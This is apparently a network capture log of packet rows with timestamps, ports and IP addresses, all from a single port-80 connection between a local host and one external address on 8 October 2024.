Oct 8, 2024 11:18:28.034277916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.034279108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.034281015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.034290075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.034293890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.034393072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035134077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035149097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035170078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035185099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035198927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035207987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035221100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035237074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035247087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035247087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035249949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035265923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035281897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035294056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035294056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035305023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035327911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035334110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035335064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035340071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035355091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035372972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035372972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035372972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035406113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035414934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035491943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035506010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035520077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035535097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035548925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035571098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035576105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035576105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035576105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035587072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035603046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035617113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035630941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035633087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035633087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035633087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035653114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035655975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035655975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035669088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035672903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035685062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035687923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035701036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035711050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035717010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035732985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035747051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035762072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035762072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035763025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035762072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035775900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.035805941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035805941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035805941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.035900116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.125611067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.125633955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.125648022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.125670910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.125690937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.125690937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.125946045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.125967979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.125982046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.125996113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126010895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126024961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126039028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126045942 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126045942 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126055002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126070023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126085043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126106024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126106024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126106024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126106024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126121044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126125097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126137018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126152039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126167059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126179934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126194954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126204967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126204967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126204967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126210928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126224995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126229048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126243114 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126244068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126257896 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126260042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126275063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126276970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126293898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126302004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126302004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126308918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126321077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126324892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126336098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126339912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126352072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126357079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126368999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126374006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126384974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126389980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126405001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126408100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126408100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126427889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126440048 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126449108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126465082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126482010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126483917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126488924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126501083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126501083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126523972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126537085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126539946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126539946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126554012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126558065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126569033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126591921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126596928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126596928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126606941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126617908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126622915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126643896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126646042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126646042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126661062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126674891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126691103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126704931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126713037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126713037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126713037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126720905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126734972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126737118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126751900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126782894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126782894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126782894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126787901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126802921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126804113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126817942 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126827002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126828909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126832962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126837969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126853943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126874924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126888990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126892090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126892090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126892090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126904011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126919031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126934052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126955986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.126967907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126967907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.126967907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127007008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127007008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127543926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127558947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127573013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127587080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127602100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127615929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127638102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127652884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127652884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127652884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127652884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127667904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127681971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127696991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127712011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127726078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127739906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127743006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127743959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127743959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127754927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127769947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127810001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127810001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127810001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.127908945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127934933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127942085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.127948046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128034115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128048897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128063917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128076077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128076077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128106117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128106117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128149033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128165960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128180027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128195047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128211021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128215075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128226042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128232956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128258944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128267050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128267050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128277063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128325939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128561974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128679991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128695965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128710032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128727913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128727913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128731012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128745079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128752947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128752947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128761053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128767967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128786087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128791094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128806114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128819942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128834963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128839970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128839970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128851891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128866911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.128884077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.128884077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.130795002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221463919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221621037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221642017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221657991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221673012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221687078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221690893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221690893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221702099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221718073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221731901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221745968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221760035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221775055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221775055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221775055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221782923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221791029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221792936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221798897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221803904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221808910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221815109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221837044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221837044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221853018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221854925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221868038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221884012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221899033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221919060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221946955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221946955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221946955 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221955061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221957922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221972942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221986055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.221992970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221992970 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.221999884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222023010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222043991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222047091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222047091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222059011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222069025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222074986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222086906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222096920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222101927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222119093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222134113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222148895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222161055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222161055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222161055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222165108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222179890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222183943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222183943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222194910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222209930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222224951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222238064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222245932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222245932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222255945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222270966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:28.222278118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:28.222278118 CEST	49706	80	192.168.2.5	185.215.113.37
